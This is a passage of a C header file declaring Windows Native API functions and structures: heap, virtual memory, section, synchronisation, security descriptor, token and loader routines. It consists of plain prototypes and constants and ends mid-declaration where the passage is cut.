NTSYSAPI NTSTATUS NTAPI ZwReplyWaitReceivePort( IN HANDLE PortHandle, OUT PVOID *PortContext OPTIONAL, IN PPORT_MESSAGE ReplyMessage OPTIONAL, OUT PPORT_MESSAGE ReceiveMessage ); //----------------------------------------------------------------------------- // Heap functions #define HEAP_NO_SERIALIZE 0x00000001 #define HEAP_GROWABLE 0x00000002 #define HEAP_GENERATE_EXCEPTIONS 0x00000004 #define HEAP_ZERO_MEMORY 0x00000008 #define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010 #define HEAP_TAIL_CHECKING_ENABLED 0x00000020 #define HEAP_FREE_CHECKING_ENABLED 0x00000040 #define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080 #define HEAP_CREATE_ALIGN_16 0x00010000 #define HEAP_CREATE_ENABLE_TRACING 0x00020000 #define HEAP_MAXIMUM_TAG 0x0FFF #define HEAP_PSEUDO_TAG_FLAG 0x8000 // // Data structure for heap definition. This includes various // sizing parameters and callback routines, which, if left NULL, // result in default behavior // typedef struct RTL_HEAP_PARAMETERS { ULONG Length; //sizeof(RTL_HEAP_PARAMETERS) ULONG SegmentReserve; ULONG SegmentCommit; ULONG DeCommitFreeBlockThreshold; ULONG DeCommitTotalFreeThreshold; ULONG MaximumAllocationSize; ULONG VirtualMemoryThreshold; ULONG InitialCommit; ULONG InitialReserve; PVOID CommitRoutine; ULONG Reserved[2]; } RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; #define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap) NTSYSAPI HANDLE NTAPI RtlCreateHeap ( IN ULONG Flags, IN PVOID BaseAddress OPTIONAL, IN ULONG SizeToReserve, IN ULONG SizeToCommit, IN BOOLEAN Lock OPTIONAL, IN PRTL_HEAP_PARAMETERS Definition OPTIONAL ); NTSYSAPI ULONG NTAPI RtlCreateTagHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PWSTR TagPrefix OPTIONAL, IN PWSTR TagNames ); NTSYSAPI ULONG NTAPI RtlDestroyHeap ( IN HANDLE HeapHandle ); NTSYSAPI PVOID NTAPI RtlAllocateHeap ( IN HANDLE HeapHandle, IN ULONG Flags, IN SIZE_T Size ); NTSYSAPI PVOID NTAPI RtlReAllocateHeap ( IN HANDLE HeapHandle, IN ULONG Flags, IN LPVOID Address, IN SIZE_T Size ); NTSYSAPI BOOLEAN NTAPI RtlFreeHeap ( IN HANDLE HeapHandle, IN ULONG Flags, IN PVOID Address ); NTSYSAPI ULONG NTAPI RtlCompactHeap ( IN HANDLE HeapHandle, IN ULONG Flags ); NTSYSAPI BOOLEAN NTAPI RtlLockHeap ( IN HANDLE HeapHandle ); NTSYSAPI BOOLEAN NTAPI RtlUnlockHeap ( IN HANDLE HeapHandle ); NTSYSAPI ULONG NTAPI RtlSizeHeap ( IN HANDLE HeapHandle, IN ULONG Flags, IN PVOID Address ); NTSYSAPI BOOLEAN NTAPI RtlValidateHeap ( IN HANDLE HeapHandle, IN ULONG Flags, IN PVOID Address OPTIONAL ); NTSYSAPI NTSTATUS NTAPI RtlQueryHeapInformation ( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, OUT PVOID HeapInformation OPTIONAL, IN SIZE_T HeapInformationLength OPTIONAL, OUT PSIZE_T ReturnLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI RtlSetHeapInformation ( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, IN PVOID HeapInformation OPTIONAL, IN SIZE_T HeapInformationLength OPTIONAL ); //----------------------------------------------------------------------------- // Virtual memory functions typedef enum _MEMORY_INFORMATION_CLASS { MemoryBasicInformation, // 0x00 MEMORY_BASIC_INFORMATION MemoryWorkingSetList, MemorySectionName, // 0x02 UNICODE_STRING MemoryBasicVlmInformation, MemoryWorkingSetInfoListInformatiom // 0x04 Array of {[in]Offset, [out]Flags} to receive the image information } MEMORY_INFORMATION_CLASS; typedef struct _MEMORY_WORKING_SET_ENTRY { PVOID Address; ULONG Flags; } MEMORY_WORKING_SET_ENTRY, *PMEMORY_WORKING_SET_ENTRY; NTSYSAPI NTSTATUS NTAPI NtAllocateVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSYSAPI NTSTATUS NTAPI NtFreeVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG FreeType ); NTSYSAPI NTSTATUS NTAPI ZwFreeVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG FreeType ); NTSYSAPI NTSTATUS NTAPI NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSYSAPI NTSTATUS NTAPI ZwProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSYSAPI NTSTATUS NTAPI NtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT PSIZE_T NumberOfBytesRead OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT PSIZE_T NumberOfBytesRead OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T BufferSize, OUT PSIZE_T NumberOfBytesWritten OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T BufferSize, OUT PSIZE_T NumberOfBytesWritten OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtFlushVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); NTSYSAPI NTSTATUS NTAPI ZwFlushVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); NTSYSAPI NTSTATUS NTAPI NtQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT PSIZE_T ReturnLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT PSIZE_T ReturnLength OPTIONAL ); //----------------------------------------------------------------------------- // Section functions typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; typedef enum _SECTION_INFORMATION_CLASS { SectionBasicInformation, SectionImageInformation } SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS; /*++ NtCreateSection =============== Creates a section object. SectionHandle - Points to a variable that will receive the section object handle if the call is successful. DesiredAccess - Specifies the type of access that the caller requires to the section object. This parameter can be zero, or any combination of the following flags: SECTION_QUERY - Query access SECTION_MAP_WRITE - Can be written when mapped SECTION_MAP_READ - Can be read when mapped SECTION_MAP_EXECUTE - Can be executed when mapped SECTION_EXTEND_SIZE - Extend access SECTION_ALL_ACCESS - All of the preceding + STANDARD_RIGHTS_REQUIRED ObjectAttributes - Points to a structure that specifies the object�s attributes. OBJ_OPENLINK is not a valid attribute for a section object. MaximumSize - Optionally points to a variable that specifies the size, in bytes, of the section. If FileHandle is zero, the size must be specified; otherwise, it can be defaulted from the size of the file referred to by FileHandle. SectionPageProtection - The protection desired for the pages of the section when the section is mapped. This parameter can take one of the following values: PAGE_READONLY PAGE_READWRITE PAGE_WRITECOPY PAGE_EXECUTE PAGE_EXECUTE_READ PAGE_EXECUTE_READWRITE PAGE_EXECUTE_WRITECOPY AllocationAttributes - The attributes for the section. This parameter must be a combination of the following values: SEC_BASED 0x00200000 // Map section at same address in each process SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages SEC_IMAGE 0x01000000 // Map section as an image SEC_VLM 0x02000000 // Map section in VLM region SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage SEC_COMMIT 0x08000000 // Commit pages; the default behavior SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable FileHandle - Identifies the file from which to create the section object. The file must be opened with an access mode compatible with the protection flags specified by the Protect parameter. If FileHandle is zero, the function creates a section object of the specified size backed by the paging file rather than by a named file in the file system. --*/ NTSYSAPI NTSTATUS NTAPI NtCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtOpenSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI ZwOpenSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Protect ); NTSYSAPI NTSTATUS NTAPI ZwMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN ULONG CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PULONG ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Protect ); NTSYSAPI NTSTATUS NTAPI NtUnmapViewOfSection ( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection ( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSYSAPI NTSTATUS NTAPI NtExtendSection ( IN HANDLE SectionHandle, IN OUT PLARGE_INTEGER SectionSize ); NTSYSAPI NTSTATUS NTAPI ZwExtendSection ( IN HANDLE SectionHandle, IN OUT PLARGE_INTEGER SectionSize ); NTSYSAPI NTSTATUS NTAPI NtQuerySection ( IN HANDLE SectionHandle, IN SECTION_INFORMATION_CLASS SectionInformationClass, OUT PVOID SectionInformation, IN SIZE_T Length, OUT PSIZE_T ResultLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwQuerySection ( IN HANDLE SectionHandle, IN SECTION_INFORMATION_CLASS SectionInformationClass, OUT PVOID SectionInformation, IN SIZE_T Length, OUT PSIZE_T ResultLength OPTIONAL ); //----------------------------------------------------------------------------- // Synchronization // // Wait type // typedef enum _WAIT_TYPE { WaitAll, WaitAny } WAIT_TYPE; NTSYSAPI NTSTATUS NTAPI NtWaitForSingleObject ( IN HANDLE Handle, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwWaitForSingleObject ( IN HANDLE Handle, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtWaitForMultipleObjects ( IN ULONG Count, IN HANDLE Handle[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwWaitForMultipleObjects ( IN ULONG Count, IN HANDLE Handle[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL ); //----------------------------------------------------------------------------- // Event support typedef enum _EVENT_INFORMATION_CLASS { EventBasicInformation // = 0 } EVENT_INFORMATION_CLASS; typedef struct _EVENT_BASIC_INFORMATION { EVENT_TYPE EventType; LONG EventState; } EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; // // Event handling routines // NTSYSAPI NTSTATUS NTAPI NtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSYSAPI NTSTATUS NTAPI ZwCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSYSAPI NTSTATUS NTAPI NtClearEvent ( IN HANDLE Handle ); NTSYSAPI NTSTATUS NTAPI ZwClearEvent ( IN HANDLE Handle ); NTSYSAPI NTSTATUS NTAPI NtPulseEvent ( IN HANDLE Handle, OUT PLONG PreviousState OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwPulseEvent ( IN HANDLE Handle, OUT PLONG PreviousState OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtResetEvent ( IN HANDLE Handle, OUT PLONG PreviousState OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwResetEvent ( IN HANDLE Handle, OUT PLONG PreviousState OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtSetEvent ( IN HANDLE Handle, OUT PLONG PreviousState OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwSetEvent ( IN HANDLE Handle, OUT PLONG PreviousState OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtOpenEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI ZwOpenEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtQueryEvent ( IN HANDLE EventHandle, IN EVENT_INFORMATION_CLASS EventInfoClass, OUT PVOID EventInfo, IN ULONG Length, OUT PULONG ResultLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwQueryEvent ( IN HANDLE EventHandle, IN EVENT_INFORMATION_CLASS EventInfoClass, OUT PVOID EventInfo, IN ULONG Length, OUT PULONG ResultLength OPTIONAL ); //----------------------------------------------------------------------------- // Mutant support NTSYSAPI NTSTATUS NTAPI NtCreateMutant( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN BOOLEAN InitialOwner ); NTSYSAPI NTSTATUS NTAPI NtOpenMutant( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtReleaseMutant( IN HANDLE MutantHandle, IN PLONG PreviousCount OPTIONAL ); //----------------------------------------------------------------------------- // Semaphore support NTSYSAPI NTSTATUS NTAPI NtCreateSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG InitialCount, IN ULONG MaximumCount ); NTSYSAPI NTSTATUS NTAPI NtOpenSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL ); //----------------------------------------------------------------------------- // EventPair support #define EVENT_PAIR_ALL_ACCESS ( STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE ) NTSYSAPI NTSTATUS NTAPI NtCreateEventPair( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtOpenEventPair( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL ); //----------------------------------------------------------------------------- // Security descriptor functions NTSYSAPI NTSTATUS NTAPI RtlCreateSecurityDescriptor ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ULONG Revision ); NTSYSAPI NTSTATUS NTAPI RtlAbsoluteToSelfRelativeSD( IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, IN OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, IN OUT PULONG BufferLength ); NTSYSAPI NTSTATUS NTAPI RtlSelfRelativeToAbsoluteSD( IN OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, OUT PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, IN OUT PULONG AbsoluteSecurityDescriptorSize, IN OUT PACL Dacl, IN OUT PULONG DaclSize, IN OUT PACL Sacl, IN OUT PULONG SaclSize, IN OUT PSID Owner, IN OUT PULONG OwnerSize, IN OUT PSID PrimaryGroup, IN OUT PULONG PrimaryGroupSize ); NTSYSAPI NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PSID *Owner, OUT PBOOLEAN OwnerDefaulted ); NTSYSAPI NTSTATUS NTAPI RtlSetOwnerSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID Owner OPTIONAL, IN BOOLEAN OwnerDefaulted OPTIONAL ); NTSYSAPI NTSTATUS NTAPI RtlGetGroupSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PSID *Group, OUT PBOOLEAN GroupDefaulted ); NTSYSAPI NTSTATUS NTAPI RtlSetGroupSecurityDescriptor( IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID Group OPTIONAL, IN BOOLEAN GroupDefaulted OPTIONAL ); NTSYSAPI NTSTATUS NTAPI RtlGetDaclSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PBOOLEAN DaclPresent, OUT PACL *Dacl, OUT PBOOLEAN DaclDefaulted ); NTSYSAPI NTSTATUS NTAPI RtlSetDaclSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN BOOLEAN DaclPresent, IN PACL Dacl OPTIONAL, IN BOOLEAN DaclDefaulted OPTIONAL ); NTSTATUS RtlGetSaclSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PBOOLEAN SaclPresent, OUT PACL *Sacl, OUT PBOOLEAN SaclDefaulted ); NTSYSAPI NTSTATUS NTAPI RtlSetSaclSecurityDescriptor( IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN BOOLEAN SaclPresent, IN PACL Sacl, IN BOOLEAN SaclDefaulted ); NTSYSAPI NTSTATUS NTAPI RtlAllocateAndInitializeSid( IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, IN UCHAR SubAuthorityCount, IN ULONG SubAuthority0, IN ULONG SubAuthority1, IN ULONG SubAuthority2, IN ULONG SubAuthority3, IN ULONG SubAuthority4, IN ULONG SubAuthority5, IN ULONG SubAuthority6, IN ULONG SubAuthority7, OUT PSID *Sid ); NTSYSAPI ULONG NTAPI RtlLengthSid( IN PSID Sid ); NTSYSAPI BOOLEAN NTAPI RtlEqualSid( IN PSID Sid1, IN PSID Sid2 ); NTSYSAPI NTSTATUS NTAPI RtlConvertSidToUnicodeString( OUT PUNICODE_STRING UnicodeString, IN PSID Sid, IN BOOLEAN AllocateDestinationString ); NTSYSAPI PVOID NTAPI RtlFreeSid( IN PSID Sid ); NTSYSAPI NTSTATUS NTAPI RtlCreateAcl( IN PACL Acl, IN ULONG AclLength, IN ULONG AclRevision ); NTSYSAPI NTSTATUS NTAPI RtlGetAce( IN PACL Acl, IN ULONG AceIndex, OUT PVOID *Ace ); NTSYSAPI NTSTATUS NTAPI RtlAddAccessAllowedAce( IN OUT PACL Acl, IN ULONG AceRevision, IN ACCESS_MASK AccessMask, IN PSID Sid ); NTSYSAPI NTSTATUS NTAPI RtlAddAccessAllowedAceEx( IN OUT PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ULONG AccessMask, IN PSID Sid ); //----------------------------------------------------------------------------- // Token functions NTSYSAPI NTSTATUS NTAPI NtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ); // Windows XP or newer NTSYSAPI NTSTATUS NTAPI NtOpenProcessTokenEx( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSYSAPI NTSTATUS NTAPI NtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ); NTSYSAPI NTSTATUS NTAPI NtQueryInformationToken( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI ZwQueryInformationToken( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI NtSetInformationToken( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, IN PVOID TokenInformation, IN ULONG TokenInformationLength ); NTSYSAPI NTSTATUS NTAPI NtAdjustPrivilegesToken( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, IN PTOKEN_PRIVILEGES NewState OPTIONAL, IN ULONG BufferLength OPTIONAL, IN PTOKEN_PRIVILEGES PreviousState OPTIONAL, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI NtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ); NTSYSAPI NTSTATUS NTAPI NtCompareTokens( IN HANDLE FirstTokenHandle, IN HANDLE SecondTokenHandle, OUT PBOOLEAN IdenticalTokens ); //----------------------------------------------------------------------------- // Token functions available from Windows 8.1 // Token security attribute type #define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00 #define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01 #define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02 #define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03 #define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04 #define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05 #define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06 #define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 // Token security attribute flags #define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001 #define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002 #define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004 #define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008 #define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010 #define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020 typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE { ULONG64 Version; UNICODE_STRING Name; } TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE { PVOID pValue; ULONG ValueLength; } TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 { UNICODE_STRING Name; USHORT ValueType; USHORT Reserved; ULONG Flags; ULONG ValueCount; union { PLONG64 pInt64; PULONG64 pUint64; PUNICODE_STRING pString; PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; } Values; } TOKEN_SECURITY_ATTRIBUTE_V1, *PTOKEN_SECURITY_ATTRIBUTE_V1; typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION { USHORT Version; USHORT Reserved; ULONG AttributeCount; union { PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; } Attribute; } TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; NTSYSAPI NTSTATUS NTAPI NtQuerySecurityAttributesToken( IN HANDLE TokenHandle, IN PUNICODE_STRING Attributes, IN ULONG NumberOfAttributes, OUT PVOID Buffer, IN ULONG Length, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI ZwQuerySecurityAttributesToken( IN HANDLE TokenHandle, IN PUNICODE_STRING Attributes, IN ULONG NumberOfAttributes, OUT PVOID Buffer, IN ULONG Length, OUT PULONG ReturnLength ); //----------------------------------------------------------------------------- // Symbolic links // // Object Manager Symbolic Link Specific Access Rights. // #ifndef SYMBOLIC_LINK_QUERY #define SYMBOLIC_LINK_QUERY (0x0001) #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) #endif NTSYSAPI NTSTATUS NTAPI NtCreateDirectoryObjectEx( OUT PHANDLE SymbolicLinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, ULONG Something ); NTSYSAPI NTSTATUS NTAPI NtCreateSymbolicLinkObject( OUT PHANDLE SymbolicLinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING DestinationName ); NTSYSAPI NTSTATUS NTAPI NtOpenSymbolicLinkObject ( OUT PHANDLE SymbolicLinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtQuerySymbolicLinkObject ( IN HANDLE SymbolicLinkHandle, OUT PUNICODE_STRING NameString, OUT PULONG ResultLength OPTIONAL ); //----------------------------------------------------------------------------- // Loader functions NTSYSAPI PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader( IN PVOID Base ); #define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001) #define RTL_IMAGE_NT_HEADER_EX_FLAG_UNKNONW_W10 (0x00000002) // Used to call RtlImageNtHeaderEx in W10, but never checked NTSYSAPI NTSTATUS NTAPI RtlImageNtHeaderEx( ULONG Flags, PVOID Base, ULONG64 Size, OUT PIMAGE_NT_HEADERS * OutHeaders ); NTSYSAPI PVOID NTAPI RtlImageDirectoryEntryToData( IN PVOID Base, IN BOOLEAN MappedAsImage, IN USHORT DirectoryEntry, OUT PULONG Size ); NTSYSAPI PVOID NTAPI RtlImageRvaToVa( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID Base, IN ULONG Rva, IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL ); NTSYSAPI NTSTATUS NTAPI LdrLoadDll( IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle ); NTSYSAPI NTSTATUS NTAPI LdrGetDllHandle( IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID * DllHandle ); NTSYSAPI NTSTATUS NTAPI LdrUnloadDll( IN PVOID DllHandle ); NTSYSAPI NTSTATUS NTAPI LdrGetProcedureAddress( IN PVOID DllHandle, IN PANSI_STRING ProcedureName OPTIONAL, IN ULONG ProcedureNumber OPTIONAL, OUT PVOID *ProcedureAddress ); NTSYSAPI NTSTATUS NTAPI LdrFindResource_U( IN PVOID DllHandle, IN PULONG_PTR ResourceIdPath, IN ULONG ResourceIdPathLength, OUT PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry ); NTSYSAPI NTSTATUS NTAPI LdrAccessResource( IN PVOID DllHandle, IN PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry, OUT PVOID *Address OPTIONAL, OUT PULONG Size OPTIONAL ); NTSYSAPI NTSTATUS NTAPI 